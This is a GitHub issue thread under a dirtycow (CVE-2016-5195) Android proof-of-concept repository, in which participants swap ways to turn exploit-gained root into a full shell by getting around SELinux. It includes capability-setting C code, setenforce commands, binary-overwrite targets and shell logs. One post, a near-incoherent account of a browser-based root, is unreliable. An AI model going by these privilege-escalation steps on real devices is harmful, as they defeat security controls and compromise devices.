timwr / CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

How do you spawn a shell after exploit?

naikel opened this issue · comments

I've tried execpl, system, even executing chmod(const char *pathname, mode_t mode) in the code but nothing seems to work.

I do get getuid() == 0, but I can't do anything with that privilege.

EDIT: My device does NOT have /system/bin/run-as with setuid and I have seen NO device that has it set.

The setuid bit was changed in Android 4.3(?) to Linux capabilities. run-as has the Linux capability to set the UID to 0 (root), but in my experimenting, it seems to lack other useful capabilities, such as writing files.

I would start by looking at the AOSP implementation of run-as and finding how it executes the packages and remove some safety checks.

You need to disable SELinux first

10-24 23:40:22.933 10954 10954 W run-as : type=1400 audit(0.0:728): avc: denied { setenforce } for uid=0 scontext=u:r:runas:s0 tcontext=u:object_r:kernel:s0 tclass=security permissive=0

Not that trivial, to me at least.

what do you mean? You didn't spawn a shell did you?

check the binary - -rwxr-xr-x 1 root shell 18K 2009-01-01 03:00 app_process64

I can't spawn a shell from the run-as context.

I have app_process32 (same thing). It has the zygote context. The one I pasted before was using the runas context. From that context I can't disable SELinux either:

10-24 23:44:58.603 11542 11542 W app_process: type=1400 audit(0.0:738): avc: denied { setenforce } for uid=0 scontext=u:r:zygote:s0 tcontext=u:object_r:kernel:s0 tclass=security permissive=0

what if we just use the exploit to replace install-recovery.sh with a script that paste su into it's folder then overwrites itself to the original superuser install recovery file then it'll load itself

You can't. Remember the whole /system is reconstructed before boot. If you reboot you'll lose all your changes.

what about using it to replace something like the reboot binary (that may be ran as root) with a binary that mount system as rw then paste everything needed by superuser

The problem is the SELinux context. The best choice is replacing app_process32. You can get root, that's no problem. That's easy.

But then you have a root that can't do anything. When you try to write a file it says denied, because you can only write files that the SELinux context allows you to. That is, for example, the dalvik cache. You can create a file there. Let's say you copy the su there. You run it: SAME PROBLEM. Now you have a shell, with the same SELinux context.

What you want is:

  • To remount /system as rw
  • To write su to /system/xbin/su, that way su will run on the SELinux context "su_exec".

So what else you can do? disable SELinux, so you can do all this. But if you could disable SELinux in a SELinux context, SELinux wouldn't exist in the first place....

I think I lost hope with dirty cow and Android >= 5.

Jcase has rooted the latest HTC 10 running latest android using this. so i assume there is a way :)

You can disable selinux in selinux. The init context can enable (or disable) it.
So wherever init is. Over write it

PS C:\Users\david> adb shell
shell@flo:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
shell@flo:/ $ run-as id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:runas:s0
shell@flo:/ $ ls -lZ /sbin/
opendir failed, Permission denied
1|shell@flo:/ $ run-as ls -lZ /sbin/
-rwxr-x--- root     root              u:object_r:rootfs:s0 adbd
-rwxr-x--- root     root              u:object_r:rootfs:s0 healthd
lrwxrwxrwx root     root              u:object_r:rootfs:s0 ueventd -> ../init
lrwxrwxrwx root     root              u:object_r:rootfs:s0 watchdogd -> ../init
shell@flo:/ $ cat /init.flo.diag.rc
/system/bin/sh: cat: /init.flo.diag.rc: Permission denied
1|shell@flo:/ $ run-as cat /init.flo.diag.rc
# This file gets copied as /init.flo.diag.rc

on post-fs-data
    rm /dev/diag

The problem is this:

shell@flo:/ $ run-as id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:runas:s0

That's a useless context. Can you execute something in, say, /data/local/tmp as root using that context?

Or better yet, can you remount /system as rw?

Because I couldn't. I can read files like you, but I can write/execute anything.

Using the app_process32 (zygote) context I can do a little more, but at the end of the day they are still useless things.

EDIT: Show me your selinux_android_setcontext() in your run-as.c ;)

Pick a different target so the context isn't an issue anymore.

The answer is here. https://source.android.com/security/selinux/implement.html

So, how to bypass selinux? Could you give some hint? @Manouchehri

can you post the source code of the run-as you are using to get root access?

In my device these are the only targets I can pick:

shell@victara:/system/bin $ ( ls -lZ 2>/dev/null ) | grep -v system_file
-rwxr-xr-x root     shell             u:object_r:zygote_exec:s0 app_process32
-rwxr-xr-x root     shell             u:object_r:dex2oat_exec:s0 dex2oat
-rwxr-xr-x root     shell             u:object_r:logcat_exec:s0 logcat
-rwxr-xr-x root     shell             u:object_r:motobox_exec:s0 motobox
-rwxr-xr-x root     shell             u:object_r:dex2oat_exec:s0 patchoat
-rwxr-x--- root     shell             u:object_r:runas_exec:s0 run-as
-rwxr-xr-x root     shell             u:object_r:shell_exec:s0 sh
-rwxr-xr-x root     shell             u:object_r:toolbox_exec:s0 toolbox
-rwxr-xr-x root     shell             u:object_r:toolbox_exec:s0 toybox

The best context is zygote_exec, but still not very useful.

You have access to way more files than just /system/bin/.

run-as is just spawning toybox there, still limited by SELinux.

We will need to kill SELinux though to get a real shell

What about rewriting the SELinux files like /file_contexts and somehow running "restorecon"... that would "kill" it.

The zygote process (app_process32) has a lot of privileges. Somebody could get an idea by just reading the zygote.te file (you can Google that if you don't want to download the whole Android source).

Interesting things are:

# Override DAC on files and switch uid/gid.
allow zygote self:capability { dac_override setgid setuid fowner };

# Switch SELinux context to app domains.
allow zygote system:process dyntransition;

allow zygote dalvikcache_data_file:file { create_file_perms x_file_perms };

# Read /seapp_contexts and /data/security/seapp_contexts
security_access_policy(zygote)

And many many other things.

can we replace kernel module and find a way to trigger insmod to bypass selinux?
my device have follow kernel module

shell@F8132:/ $ ls /system/lib/modules/
ansi_cprng.ko
backlight.ko
bcmdhd.ko
br_netfilter.ko
core_ctl.ko
ecryptfs.ko
generic_bl.ko
kscl.ko
lcd.ko
mmc_block_test.ko
mmc_test.ko
msm-buspm-dev.ko
rdbg.ko
spidev.ko
test-iosched.ko
texfat.ko
ufs_test.ko
wil6210.ko

only follow module inserted

shell@F8132:/ $ lsmod  
Module                  Size  Used by
texfat                157455  0
wlan                  871035  0
kscl                   15531  0
ecryptfs               84851  0

@naikel I have an issue when I try to use app_process32 as target. I'm able to apply the "patch" but then, when I try to execute /system/bin/app_process32 I'm not able to become root:

>>> /system/bin/app_process32
Running as uid 2000
Could not set capabilities: Operation not permitted
setresgid/setresuid failed

This is weird! The zygote.pe file contains:
allow zygote self:capability { dac_override setgid setuid fowner chown };
Could you help me?

Remember to always use logcat | grep audit to know exaclty what is going on.

Same thing happens to me with app_process32, but then I can see in the logs that some other root process executes it... and then the phone GUI dies but the shell through adb shell still works.

But I have other problems since zygote can't execute anything on /system/bin:

10-26 10:58:17.712 30113 30113 W app_process: type=1400 audit(0.0:8400): avc: denied { read } for uid=0 path="/system/bin/sh" dev="mmcblk0p38" ino=371 scontext=u:r:zygote:s0 tcontext=u:object_r:shell_exec:s0 tclass=file permissive=0

On the logcat, as soon as I "patch" app_process32, I can actually see several processes crashing (as normal to be)

I suppose we need to use another process as target, but... which one?

I'm getting permission denied on everything on Nexus 4 Android 5.0

char *envp[] = { NULL };
  char *argvv[] = { "-l", "/data/local/tmp/", NULL };
  execve("/system/bin/ls", argvv, envp);
  printf("Something went wrong! %s\n", strerror(errno));
adb shell /system/bin/run-as
running as uid 2000
uid 0
euid 0
Something went wrong! Permission denied

@umntkid you should read the thread first before posting... We already stated u:r:runas:s0 context has no execute permission. You can't do anything in that context.

Not 100% true.

@naikel @umntkid this works just fine:

#include <unistd.h>
#include <stdio.h>
#include <sys/capability.h>
#include <dirent.h>

int main(int argc, char **argv)
{
DIR *dir;
struct __user_cap_header_struct capheader;
struct __user_cap_data_struct capdata[2];
struct dirent *ent;

printf("running as uid %d\n", getuid());

memset(&capheader, 0, sizeof(capheader));
memset(&capdata, 0, sizeof(capdata));
capheader.version = _LINUX_CAPABILITY_VERSION_3;
capdata[CAP_TO_INDEX(CAP_SETUID)].effective |= CAP_TO_MASK(CAP_SETUID);
capdata[CAP_TO_INDEX(CAP_SETGID)].effective |= CAP_TO_MASK(CAP_SETGID);
capdata[CAP_TO_INDEX(CAP_SETUID)].permitted |= CAP_TO_MASK(CAP_SETUID);
capdata[CAP_TO_INDEX(CAP_SETGID)].permitted |= CAP_TO_MASK(CAP_SETGID);
if (capset(&capheader, &capdata[0]) < 0) {
printf("Could not set capabilities: %s\n", strerror(errno));
}

if(setresgid(0,0,0) || setresuid(0,0,0)) {
printf("setresgid/setresuid failed\n");
}

if ((dir = opendir ("/sbin/")) != NULL) {
while ((ent = readdir (dir)) != NULL) {
printf ("%s\n", ent->d_name);
}
closedir (dir);
}
return 0;
}

Yes, you can read files in the runas context.

@Manouchehri did you manage to write in /dev/block or to completely root a stock locked android 6.0 Selinux phone?

The recursive ability of dirtycow within the u:r:runas:s0 context is an immediate conclusion of @rhcp011235 comment (that is running dirtycow inside run-as executable to be able to modify other files that the shell user couldn't read).

But I would not do that for the init files, that's just useless. We can already modify those files running dirtycow once, but they will never be executed.

We can use dirtycow to modify libc.so or other shared libraries, it will effect all current running processes (I guess).

Or to modify /system/bin/linker to try to spawn a shell via socket only if it's in the u:r:kernel:s0 context before linking the executable and hope for the best...

@xcodevn we already tested that and I thought I already explained it (maybe in another thread?). That doesn't work because if you read the code you'll see that it patches libc.so to make getuid() = 0, so when you execute su (the Linux su binary) it doesn't ask for a password.

For that exploit you need:

  • A su binary already installed owned by root with the setuid bit set.
  • That su binary should ask for a password.

And that's not how it works on Android.

Hmm... Anyone?

@naikel @xcodevn I ported that version to android: https://github.com/DavidBuchanan314/cowroot

As you say, it's quite useless because there is no su binary.

However, since it lets us patch libc, we can execute arbitrary code in the context of any privilidged process which happens to call into libc. Just need to figure out exactly what to patch...

@DavidBuchanan314 patch /system/bin/linker carefully.

When I say carefully is that the linker should still work, even if it opens a backdoor. The linker is called whenever a process needs any dynamic linked library. It's the equivalent of /lib/ld-linux.so for x86.

This is exactly what I'm trying to do but unfortunately to do this I have to download the whole Android source and build it for ARM, and it's taking a while.

Check this guy's approach: https://github.com/jcadduono/android_external_dirtycow

He patches app_process to change the system property to start a flash recovery service. He also patches /system/bin/applypatch to flash his custom recovery. After that you reboot the phone in recovery and your custom recovery is loaded and install su binary from there.

Haven't tested it myself, though.

I tried and I wasn't able to set the selinux context as u:r:system_server:s0...

@alien0x00 what version of Android are you testing it? It should work on >= 6.0:

# Switch SELinux context to app domains.
allow zygote self:process setcurrent;
allow zygote system_server:process dyntransition;

I tried on a Nexus 6p with Android 6.0.1:

shell@angler:/ $ /system/bin/app_process64
***********************************************
*   wotzit doing this ain't no app_process64  *
***********************************************
Current selinux context: u:r:shell:s0
Unable to set security context to 'u:r:system_server:s0' (ret = -1)!

This is the logcat message:
W app_process: type=1400 audit(0.0:140): avc: denied { setcurrent } for scontext=u:r:shell:s0 tcontext=u:r:shell:s0 tclass=process permissive=0

You are doing it wrong... Is your phone 64 bits? because you're running it on the u:r: shell:s0 context, and it should run on the u:r:zygote:s0 context.

What's the binary of your zygote context? (grep zygote /file_contexts)

EDIT: You are not supposed to call app_process from the shell!!! You just have to wait it runs itself looking at the logcat!

how you trigger app_process?

@christianrodher you don't. It spawns itself. You just have to look at the logcat and wait a couple of seconds.

solution is to include execl("/system/bin/sh", "sh", "-i", NULL);

uid_t uid=getuid(), euid=geteuid();
if (uid<0 || uid!=euid) {
/* We might have elevated privileges beyond that of the user who invoked
* the program, due to suid bit. Be very careful about trusting any data! */
} else {
printf("we got root!");
}
return 0;
}

btw working on the browser base root the domain is UNIXbrowserroot.com
and it will have a database and javascript im done with all all i need to do is find a source code of previous remote code execution with js to execute the c from the database i popped a root shell but when i used gcc it worked on linux and 32 bit from the day one code with little modifications but when i tried to execute on 64 bit instead of 32 bit arm android it said cant execute 64 bit elf file so that means i need a ndk compiled version but i deleted that after i popped a root shell and pushed a boot.img and rebooted the phone with js from the c code and a little adb sided client tcp i was able to boot into it and remount the file system as rw pushed su and pwn.sh previously from weaksauce decompiled apk and chmodded both as 777 then i mounted all as ro but i realized if i reboot all of this would be worthless because we are just booted into stock boot.img that is world 777 ex. read,write, and execute and is only temporary like a cache and will be cleard on boot so i add another trick up my sleeve i used the .sh files from supersu.zip extracted them to the raw file system that holds all files and subsystems because the boot.img i was booted into was world writeable and so once on i change the init.rc and install-recovery.sh and added the execution of these new untethered root shell commands inside sh to be executed on boot and last but not least once finished i uses dd command to replace dd=/dev/mmcblk0p10 to replace to the re and i rebooted and i ran adb and id was 0 and i ranned "su" and it came with the # i knew this was tnot the last step i needed this opertunity to replace the install-recovery.sh and i used the sh from supersu.zip replaced it because they have the same name and chmod 775 and i was finished i rebooted and ranned root checker and it was fully functional

@turnerrocks1 you should read the thread before posting...

@naikel i did and if you read before posting.............

@turnerrocks1 Could you separate your sentences a bit? That's kinda hard to read...

have you tried // Set SELinux to permissive
private static final String COMMAND = "su 0 setenforce 0";
try {
Runtime.getRuntime().exec(COMMAND);
} catch (IOException e) {
e.printStackTrace();
}
to disable selinux alltogether

have a look at this
"On some of the Linux distribution SELinux is enabled by default, which may cause some unwanted issues, if you don’t understand how SELinux works and the fundamental details on how to configure it. I strongly recommend that you understand SELinux and implement it on your environment. But, until you understand the implementation details of SELinux you may want to disable it to avoid some unnecessary issues.

To disable SELinux you can use any one of the 4 different methods mentioned in this article.

The SELinux will enforce security policies including the mandatory access controls defined by the US Department of Defence using the Linux Security Module (LSM) defined in the Linux Kernel. Every files and process in the system will be tagged with specific labels that will be used by the SELinux. You can use ls -Z and view those labels as shown below.

ls -Z /etc/

-rw-r--r-- root root system_u:object_r:etc_t:s0 a2ps.cfg
-rw-r--r-- root root system_u:object_r:adjtime_t:s0 adjtime
-rw-r--r-- root root system_u:object_r:etc_aliases_t:s0 aliases
drwxr-x--- root root system_u:object_r:auditd_etc_t:s0 audit
drwxr-xr-x root root system_u:object_r:etc_runtime_t:s0 blkid
drwxr-xr-x root root system_u:object_r:bluetooth_conf_t:s0 bluetooth
drwx------ root root system_u:object_r:system_cron_spool_t:s0 cron.d
-rw-rw-r-- root disk system_u:object_r:amanda_dumpdates_t:s0 dumpdates

Method 1: Disable SELinux Temporarily

To disable SELinux temporarily you have to modify the /selinux/enforce file as shown below. Please note that this setting will be gone after the reboot of the system.

cat /selinux/enforce

1

echo 0 > /selinux/enforce

cat /selinux/enforce

0

You can also use setenforce command as shown below to disable SELinux. Possible parameters to setenforce commands are: Enforcing , Permissive, 1 (enable) or 0 (disable).

setenforce 0

Method 2: Disable SELinux Permanently

To disable the SELinux permanently, modify the /etc/selinux/config and set the SELINUX=disabled as shown below. One you make any changes to the /etc/selinux/config, reboot the server for the changes to be considered.

cat /etc/selinux/config

SELINUX=disabled
SELINUXTYPE=targeted
SETLOCALDEFS=0

Following are the possible values for the SELINUX variable in the /etc/selinux/config file

enforcing – The Security Policy is always Encoforced
permissive – This just simulates the enforcing policy by only printing warning messages and not really enforcing the SELinux. This is good to first see how SELinux works and later figure out what policies should be enforced.
disabled – Completely disable SELinux

Following are the possible values for SELINUXTYPE variable in the /etc/selinux/config file. This indicates the type of policies that can be used for the SELinux.

targeted – This policy will protected only specific targeted network daemons.
strict – This is for maximum SELinux protection.

Method 3: Disable SELinux from the Grub Boot Loader

If you can’t locate /etc/selinux/config file on your system, you can pass disable SELinux by passing it as parameter to the Grub Boot Loader as shown below.

cat /boot/grub/grub.conf

default=0
timeout=5
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
hiddenmenu
title Enterprise Linux Enterprise Linux Server (2.6.18-92.el5PAE)
root (hd0,0)
kernel /boot/vmlinuz-2.6.18-92.el5PAE ro root=LABEL=/ rhgb quiet selinux=0
initrd /boot/initrd-2.6.18-92.el5PAE.img
title Enterprise Linux Enterprise Linux Server (2.6.18-92.el5)
root (hd0,0)
kernel /boot/vmlinuz-2.6.18-92.el5 ro root=LABEL=/ rhgb quiet selinux=0
initrd /boot/initrd-2.6.18-92.el5.img

Method 4: Disable Only a Specific Service in SELinux – HTTP/Apache

If you are not interested in disability the whole SELinux, you can also disable SELinux only for a specific service. For example, do disable SELinux for HTTP/Apache service, modify the httpd_disable_trans variable in the /etc/selinux/targeted/booleans file.

Set the httpd_disable_trans variable to 1 as shown below.

grep httpd /etc/selinux/targeted/booleans

httpd_builtin_scripting=1
httpd_disable_trans=1
httpd_enable_cgi=1
httpd_enable_homedirs=1
httpd_ssi_exec=1
httpd_tty_comm=0
httpd_unified=1

Set SELinux boolean value using setsebool command as shown below. Make sure to restart the HTTP service after this change.

setsebool httpd_disable_trans 1

service httpd restart

"

None of that would work. If you're exploiting run-as, you are in the u:r:runas:s0 context, and you can't even write a file there.

I think you are lost. First we need to get at least u:r:kernel:s0 or u:r:init:s0 root access, and after that we can start talking about disabling SELinux. But at this point, we gain root access, but we can't even write a single file.

EDIT: You didn't read the thread. We already tried that. See the past posts, for example:

10-24 23:40:22.933 10954 10954 W run-as : type=1400 audit(0.0:728): avc: denied { setenforce } for uid=0 scontext=u:r:runas:s0 tcontext=u:object_r:kernel:s0 tclass=security permissive=0

That's what happens when you try to disable SELinux. It's one of the very first posts.

Is it because of SELinux?

I don't know - I am new (very new - one week old) to SELinux. I thought that when you put it to sleep (getenforce reporting "Permissive") it no longer interferes...

Apparently, I was wrong. Down the rabbit hole we go again...

Could it be because of my process context?

Remember that id returned... "uid=0(root) gid=0(root)... context=u:r:shell:s0"

Can I change that context? Being root and all, can I move away from shell? And if so, move to what?

The answer to the first question is runcon:

shell@K01E_2:/ $ runcon u:r:debuggerd:s0 /sbin/su

root@K01E_2:/ # id
uid=0(root) gid=0(root)... context=u:r:debuggerd:s0

Good. But what context will allow me to mount and chroot?

Reading some more about SELinux, back in my main machine, I parse the /sepolicy file on the root of the initrd.img:

linuxbox$ $ sesearch -A sepolicy | grep chroot
allow init_shell init_shell : capability { chown sys_chroot ...
allow init init : capability { chown dac_read_search sys_chroot ...
allow kernel kernel : capability { chown dac_override sys_chroot ...
allow asus-dbug-d asus-dbug-d : capability { chown sys_chroot ...
...

OK, a number of possibilities! Especially that kernel one seems promising:

shell@K01E_2:/ $ runcon u:r:kernel:s0 /sbin/su

root@K01E_2:/ # id
uid=0(root) gid=0(root)... context=u:r:kernel:s0

root@K01E_2:/ # chroot /data/debian/ /bin/bash
chroot() fail
Operation not permitted

Darn.

Who the heck is blocking me from chrooting?

Any advice most welcome...

ive created rooting apps for android 4.4-5.1 i havent made one since and also made a script root no exploits via sideloading in twrp and i havent been on android since ive been on ios since 2008 -2014 and just now restarting last time i created a jailbreak was when ios spoke Objectice-C now its swift and android im only used to java thats why i create root apps not C so sorry for wrong input but im just trying to help and if you dont believe me check my old website about 2 years old htcdesire626srootbyturnerhackz1.weebly.com and my youtube first root video got 16k views with 71 subs on a universal root script for all htc devices based on htc desire 626s but sorry for waste of time

and im a linux kernel exploit researcher i do write C and know fundamentals and a short specialist in C++ and ruby and php but my specialty is java and js

Good. But what context will allow me to mount and chroot?

Read the policy (.te files) that will help you a lot. There are several approaches discussed here. Your approach would require you to get the context u:r:kernel:s0 and then transition to u:r:init:s0 to mount.

I think only the init context can mount. Nothing else. I've read many .te files and now I can't remember what context can do what.

There's the approach of getting the u:r:system_server:s0 context (that's easy) and try to flash the recovery partition and then reboot recovery.

Basically you have to read the .te files and figure out what could you do to cheat SELinux.

@naikel i got an idea now that i look at previous root apps and my history of rooting busybox and tools supolicy tools and su always make a way my idea is not at all to cheat but evil face idea * but to use sepolicy itself according to my memory when i pushed dex tools and busybox and su and super su and supolicy ok now heres the part we can figure out there are 8 steps*

Step1:install supersu i remember that pingpong root after opening and exploiting a socket it required supersu almost instantly it was at root level which is uid and guid and suid 0 but it couldnt manage su nor install it so... it need supersu

Step2: Understanding when su nor busybox isnt installed super su will require twrp install update or su this can be avoided is we push busybox to /data/local/tmp along with tools and supolicy with the install-recovery.sh of supersu.zip or rar

Step3: once super and its rightful properties in /data/local/tmp are there we can run supersu app at the same time run adb use busybox

Step4: reboot after installing supersu

Step5: rerun the dirtyc0w exploit but use the code that is required on linux run
/*
####################### dirtyc0w.c #######################
$ sudo -s

echo this is not a test > foo

chmod 0404 foo

$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/

but of course we cant run sudo or su not really needed create a file with chmod 400 on android
in /data/local/tmp do the above echo and ls run the ndk compiled exploit but instead use the file created with the echo of foo m000000000000000000 those are char maps and mips of memory should properaly work and this time run adb shell id if group is 0 then try mount /system rw and
*could you send me a ndk compiled version of the exploit so i can further test it

None of that would work.

Due to SELinux, the only way that su works with the correct privilege is if it's located at /system/xbin/su. If the su binary is located anywhere else, like /data/local/tmp, even if it's owned by root and has the setuid bit on, it won't escalate privileges.

Now as you are aware /system is ro. So to do all this you need to gain root in the correct SELinux context to remount /system and copy su in /system/xbin/su.

So far we have gained root access but no within a context that let us create a file, even if it's in /data/local/tmp. SELinux allows shell user to write to /data/local/tmp, but root user (from the u:r:runas:s0 context) can't write to it!!! That's how SELinux is.

SELinux is a pain.

The recovery approach seems to work but I'm not brave enough to try it. This is it: https://github.com/jcadduono/android_external_dirtycow

I don't think a custom recovery is needed.

shell@flo:/data $ getprop | grep -E 'secure|debuggable|build.type'
[ro.adb.secure]: [0]
[ro.build.type]: [user]
[ro.debuggable]: [1]
[ro.secure]: [0]

@Manouchehri so, how you did it, without a custom recovery?

@naikel he have it since day 1.
@christianrodher : "@Manouchehri do you plan to post the compatible version?"
@Manouchehri : "Not within the next few days. Maybe next month."

I wonder what is the context where applypatch runs when using ctl.start and launching a flash_recovery service... That's thought number 1.

Thought number 2. If I change the seclabel of, let's say, ueventd in /init.rc (I think runas context can read that file) and then ctl.stop ueventd, ctl.start ueventd, can I choose the kernel/init context?

error when compiling... any help
/root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:79: undefined reference to getcon' /root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:87: undefined reference tosetcon'
/root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:95: undefined reference to getcon' /root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:121: undefined reference toproperty_set'

@christianrodher you need the NDK for that, the UXTerm + gcc trick won't help you.

setcon/getcon are defined in selinux/selinux.h

We can use Dirtycow to modify the default.prop file so that the ADB shell itself has root access, but those settings are loaded from the file at boot time if I'm not mistaken, so that's useless.

I wonder if we can swap out getprop with a version of our own that returns the values we want, giving us a root ADB shell...

@naikel can u send me your selinux.h... i tried a couple and still got the error

@christianrodher https://android.googlesource.com/platform/external/libselinux/+/android-6.0.1_r70/include/selinux/selinux.h

But if you don't have that in your development enviroment your project won't link to the library. You need the include files, the library files, etc.

@jfranchetto you mean to patch /system/libselinux.so? hmmm....

EDIT: I think even if you change libselinux.so it won't work since it makes kernel calls...

@Manouchehri did you have to modify libc?

It doesn't seem sufficient to just replace getprop in system/bin since not everything looking for properties will use it to get them (namely ADB in this case).

I've seen that the ADB root checks eventually call into into things like __system_property_read and __system_property_get in libc/bionic/system_properties.cpp. Would it then not be sufficient to change those methods to just return the value we want for those particular flags?

@naikel did you manage to compile recowvery-app_process64.c? im using android-ndk-r13 putting selinux/selinux.h in the include folder and still getting the same errors.
./obj/local/arm64-v8a/objs/recowvery-app_process64/recowvery-app_process64.o: In function main': /root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:79: undefined reference togetcon'
/root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:87: undefined reference to setcon' /root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:95: undefined reference togetcon'
/root/Desktop/android_external_dirtycow-android-6.0/./recowvery-app_process64.c:121: undefined reference to `property_set'
clang++: error: linker command failed with exit code 1 (use -v to see invocation)
/root/Desktop/android-ndk-r13/build/core/build-binary.mk:715: recipe for target 'obj/local/arm64-v8a/recowvery-app_process64' failed
make[1]: *** [obj/local/arm64-v8a/recowvery-app_process64] Error 1
make[1]: Leaving directory '/root/Desktop/android_external_dirtycow-android-6.0'
Makefile:5: recipe for target 'build' failed

Instead of everyone spinning their wheels. Why doesn't the people who got it share?

@christianrodher no, I haven't tried to compile it because I don't have the NDK. All I've been compiling was with UXTerm + clang.

@naikel any idea of what im missing?

@christianrodher Your NDK installation might be somehow screwed up. It should be linking with libselinux. Out of curiosity, how exactly are you invoking ndk-build?

@kirbyfan64 witth the provided files
android.mk
include $(CLEAR_VARS)
LOCAL_MODULE := recowvery-app_process64
LOCAL_SRC_FILES :=
recowvery-app_process64.c
LOCAL_CFLAGS += -DDEBUG
LOCAL_SHARED_LIBRARIES := liblog libcutils libselinux
LOCAL_LDLIBS := -L$(SYSROOT)/usr/lib -llog
include $(BUILD_EXECUTABLE)

makefile
all: build

build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21

@jfranchetto adbd on user builds does not check the ro.adb.secure, ro.debuggable and ro.secure flags (the instructions in gray do not exist); it will always drop drop capabilities (prctl).

secondary__z8adb_mainii vs _z8adb_mainii

@Manouchehri Interesting...so that means changing the methods in libc would also be useless.

I mean, unless we could change the build type to be something other than user so we force ADB to check, I'm not sure I understand why those four properties are useful.

@jfranchetto adbd is a static binary, doesn't link anything.

In 6.0.1 the adbd rules contain:

# No transitions from adbd to non-shell domains. adbd only ever
# transitions to the shell domain. In particular, we never want
# to see a transition from adbd to su (aka "adb root")
neverallow adbd { domain -shell }:process transition;
neverallow adbd { domain userdebug_or_eng(`-su') }:process dyntransition;

So adbd root is a no-no.

@naikel help me understand something would you as i cloud remember zergrush exploited zerglings to root without selinux but instead echoing ro.kernel.qemu=0 while with root but without su and not even mentioning selinux so does that mean this exploit would only work with >=6.0 because or was selinux inplemented strongly in 6 or 5 i remember 4.4 android only instilled aslr and mmpap randomalization

the .c code to flash a block is there. it works on all.. that same need little modification to extract a a block.... so dirtycow can root any android one way or the other....

anyone manager to compile recowvery-app_process64?

@christianrodher do you have problems linking libselinux, liblog and libcutils when compiling recowvery-app_process64, too?

@Manouchehri I can give it a try, looks like Dirtycow is unable to open /sbin/adbd though.

@Apology11 yes it doesnt link im reinstalling my ndk to check again.

Justin: run-as can.

On Oct 28, 2016 8:57 AM, "Justin Franchetto" notifications@github.com
wrote:

@Manouchehri https://github.com/Manouchehri I can give it a try, looks
like Dirtycow is unable to open /sbin/adbd though.


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
#9 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AG5cogrzs-pPdE2kd6Pb1ETab9NVZ8Gjks5q4fFMgaJpZM4KfUon
.

@Manouchehri run-as -exec dirtycow /sbin/adbd /data/local/tmp/adbd dont work.

what run-as are you using?

No, I mean replace run-as with a binary that does the dirtycow exploit.

On Oct 28, 2016 10:07 AM, "christianrodher" notifications@github.com
wrote:

@Manouchehri https://github.com/Manouchehri run-as -exec dirtycow
/sbin/adbd /data/local/tmp/adbd dont work.

what run-as are you using?


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
#9 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AG5cokKq3XtrBNgLwBNL0uB9iu8iPzoiks5q4gGegaJpZM4KfUon
.

@Manouchehri not in BLU R1 HD
run-as is dirtycow
run-as /sbin/adbd /data/local/tmp/adbd-no-drop <
could not open /sbin/adbd

You can write a simple shell to run as run-as:

shell@victara:/data/local/tmp $ run-as
cd /sbin
ls -l
-rwxr-x--- root     root       256748 1969-12-31 20:00 adbd
-rwxr-x--- root     root       268636 1969-12-31 20:00 healthd
lrwxrwxrwx root     root              1969-12-31 20:00 ueventd -> ../init
lrwxrwxrwx root     root              1969-12-31 20:00 watchdogd -> ../init

This one worked for me: https://github.com/brenns10/lsh

You can add a pretty prompt if you want (mine does not have prompt).

After that you can play a little bit more with the run-as context, and replace adbd running dirtycow on it.

@naikel Will adbd able to bypass SELinux?

@alien0x00 I don't think so, by reading the adbd.te file. Also the adbd from @Manouchehri is significantly larger than the one in my device, so replacing it using dirtycow won't work.

@naikel Good to know that you couldn't replace it. I made a version of run-as that will call dirtycow to replace adbd but for some reason setresuid(0,0,0) isn't working (even if I use the original run-as from the PoC), so I couldn't even try to replace adbd.

@Manouchehri it's a MotoX with Android 6.0.1:

-rwxr-x--- root root 256748 1969-12-31 20:00 adbd

I was thinking that using the install_recovery.sh - applypatch approach, instead of flashing a new recovery.img, you could run dirtycow within the recover context directly on the block device:

  allow recovery device:dir r_dir_perms;
  allow recovery block_device:dir r_dir_perms;
  allow recovery dev_type:blk_file rw_file_perms;

But I wonder how persistent would those changes be.

@naikel the sh source compiled perfect but dont work. it stay stucked in run-as till i press ctrl+c

@christianrodher are you sure it doesn't work? Type something! don't wait for the prompt (if you want prompt you would have to fix flushing the stdout a little bit I guess).

@Manouchehri was you able to compile recowvery-app_procress64.c?

also trying to dirtycow your adbd it seems imposible lol

shell@R1_HD:/data/local/tmp $ run-as -exec toybox                              
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'toybox' with 0 arguments

usage toybox /default.prop /data/local/tmp/default.prop
shell@R1_HD:/data/local/tmp $ run-as -exec toybox /sbin/adbd /data/local/tmp/adbd-no-drop                         <
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'toybox' with 2 arguments

could not open /data/local/tmp/adbd-no-drop

